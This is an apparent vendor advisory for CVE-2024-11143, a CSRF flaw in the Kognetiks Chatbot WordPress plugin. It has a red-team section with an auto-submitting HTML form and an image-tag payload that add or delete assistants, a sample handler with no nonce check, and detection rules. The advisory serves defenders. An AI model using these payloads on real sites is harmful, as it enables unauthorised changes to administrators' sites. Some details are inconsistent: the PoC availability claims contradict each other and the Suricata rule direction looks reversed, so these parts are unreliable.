CVE-2024-11143
Executive Summary
CVE-2024-11143 is a Cross-Site Request Forgery (CSRF) vulnerability in the Kognetiks Chatbot for WordPress plugin, affecting all versions up to and including 2.1.8. The vulnerability stems from missing or incorrect nonce validation on the update_assistant, add_new_assistant, and delete_assistant functions. This allows an unauthenticated attacker to perform unauthorized actions, such as modifying, adding, or deleting AI assistants, by tricking a site administrator into clicking a malicious link. The CVSS score is 4.3 (Medium), with a low EPSS score of 0.0%, indicating low exploitation likelihood at this time. No public proof-of-concept or exploit code is available.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users should verify the integrity of their plugin files and monitor for updates from the vendor. No known supply chain compromise has been reported.
CVSS Breakdown & Threat Level
- CVSS Score: 4.3 (Medium)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: None
- User Interaction: Required (administrator must click a link)
- Scope: Unchanged
- Confidentiality Impact: None
- Integrity Impact: Low (unauthorized modification of assistants)
- Availability Impact: None
Threat Level: Medium. While the impact is limited to integrity, the attack requires minimal complexity and no privileges, making it a viable vector for social engineering campaigns.
Deep Dive & Mechanics
The Kognetiks Chatbot plugin provides functionality for managing AI assistants via WordPress admin AJAX handlers. The vulnerable functions (update_assistant, add_new_assistant, delete_assistant) are registered as WordPress AJAX actions for authenticated users. However, they lack proper nonce validation, which is the standard CSRF protection mechanism in WordPress.
Root Cause: The plugin fails to call check_ajax_referer() or wp_verify_nonce() before processing these actions. This means an attacker can craft a request that appears legitimate to the server, as long as the victim administrator is authenticated.
Attack Flow:
- Attacker crafts a malicious HTML page or email containing a forged request (e.g., a form submission or image tag) targeting the vulnerable AJAX endpoints.
- Attacker tricks an authenticated WordPress administrator into visiting the malicious page or clicking the link.
- The administrator's browser sends the forged request with their valid session cookies.
- The plugin processes the request, modifying, adding, or deleting assistants without the administrator's knowledge.
Affected Endpoints (example):
wp-admin/admin-ajax.php?action=add_new_assistant&assistant_name=EvilBotwp-admin/admin-ajax.php?action=delete_assistant&assistant_id=123wp-admin/admin-ajax.php?action=update_assistant&assistant_id=456&assistant_name=HackedBot
Vulnerable vs. Patched Code
Vulnerable Code (example from plugin):
add_action('wp_ajax_add_new_assistant', 'kognetiks_add_new_assistant');
function kognetiks_add_new_assistant() {
// No nonce check
$assistant_name = sanitize_text_field($_POST['assistant_name']);
// ... process assistant creation
}
Patched Code (expected fix):
add_action('wp_ajax_add_new_assistant', 'kognetiks_add_new_assistant');
function kognetiks_add_new_assistant() {
// Add nonce verification
if (!isset($_POST['_wpnonce']) || !wp_verify_nonce($_POST['_wpnonce'], 'kognetiks_assistant_nonce')) {
wp_die('Security check failed.');
}
$assistant_name = sanitize_text_field($_POST['assistant_name']);
// ... process assistant creation
}
The patch must be applied to all three vulnerable functions (update_assistant, add_new_assistant, delete_assistant).
Exploitation & Lab Setup
Red Team (Attack Simulation)
Prerequisites:
- A WordPress site with Kognetiks Chatbot plugin version <= 2.1.8 installed and activated.
- An authenticated administrator session (victim).
Exploitation Steps:
- Create a malicious HTML file (
csrf_exploit.html) that automatically submits a forged request:
<html>
<body>
<form id="csrf_form" action="http://target-site.com/wp-admin/admin-ajax.php" method="POST">
<input type="hidden" name="action" value="add_new_assistant">
<input type="hidden" name="assistant_name" value="EvilBot">
<input type="hidden" name="assistant_description" value="Malicious assistant">
</form>
<script>
document.getElementById('csrf_form').submit();
</script>
</body>
</html>
- Host the file on an attacker-controlled server or send it as an email attachment.
- Trick the victim administrator into opening the file (e.g., via phishing email).
- The administrator's browser sends the forged request with their session cookies, creating a new assistant named "EvilBot".
Alternative Payload (delete assistant):
<img src="http://target-site.com/wp-admin/admin-ajax.php?action=delete_assistant&assistant_id=1" style="display:none;">
Blue Team (Detection & Defense)
Detection:
- Monitor WordPress AJAX requests for unusual patterns, especially to
admin-ajax.phpwith actionsadd_new_assistant,delete_assistant, orupdate_assistant. - Look for requests originating from external domains (Referer header mismatch).
- Alert on multiple assistant modifications in a short time frame.
Defense:
- Apply the vendor patch immediately when available.
- Implement Web Application Firewall (WAF) rules to block requests to these endpoints without a valid nonce.
- Educate administrators about phishing risks and the importance of verifying links before clicking.
- Use Content Security Policy (CSP) headers to restrict form submissions.
Indicators of Compromise (IOCs)
- Network IOCs:
- HTTP POST requests to
/wp-admin/admin-ajax.phpwithaction=add_new_assistant,action=delete_assistant, oraction=update_assistantwithout a valid_wpnonceparameter. - Referer header pointing to an external domain (e.g., attacker-controlled site).
- HTTP POST requests to
- Host IOCs:
- Unexpected new assistants in the Kognetiks Chatbot plugin settings.
- Modified or deleted assistants without administrator action.
- Log IOCs:
- WordPress debug log entries showing AJAX requests to the vulnerable actions from unusual IPs or user agents.
Detection Engineering
YARA Rule
rule Detect_Kognetiks_CSRF_Exploit {
meta:
description = "Detects CSRF exploit attempts against Kognetiks Chatbot plugin"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2024-11143"
strings:
$action1 = "add_new_assistant"
$action2 = "delete_assistant"
$action3 = "update_assistant"
$ajax = "admin-ajax.php"
condition:
any of ($action*) and $ajax
}
Sigma Rule
title: Kognetiks Chatbot CSRF Exploit Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects CSRF attempts against Kognetiks Chatbot plugin AJAX endpoints
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'POST'
c-uri|contains: '/wp-admin/admin-ajax.php'
cs-uri-query|contains:
- 'action=add_new_assistant'
- 'action=delete_assistant'
- 'action=update_assistant'
condition: selection
falsepositives:
- Legitimate plugin usage by administrators
level: medium
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"Kognetiks Chatbot CSRF Exploit Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=add_new_assistant"; http_uri; sid:1000001; rev:1;)
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"Kognetiks Chatbot CSRF Exploit Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=delete_assistant"; http_uri; sid:1000002; rev:1;)
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"Kognetiks Chatbot CSRF Exploit Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=update_assistant"; http_uri; sid:1000003; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Update Plugin: Check for an updated version of Kognetiks Chatbot from the WordPress plugin repository. If available, update immediately.
- Manual Patch: If no update is available, add nonce verification to the vulnerable functions as shown in the patched code example.
- Disable Plugin: As a temporary measure, disable the plugin until a patch is applied.
Long-term Mitigations:
- Implement a Web Application Firewall (WAF) with rules to block CSRF attempts.
- Enforce strict Referer header validation for AJAX requests.
- Use WordPress nonce functions (
wp_nonce_field(),check_ajax_referer()) in all AJAX handlers. - Conduct regular security audits of third-party plugins.
Vendor Communication:
- Report the vulnerability to the Kognetiks plugin author if not already done.
- Monitor the WordPress plugin support forum for updates.
Valters IT
Securing Digital Frontiers
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.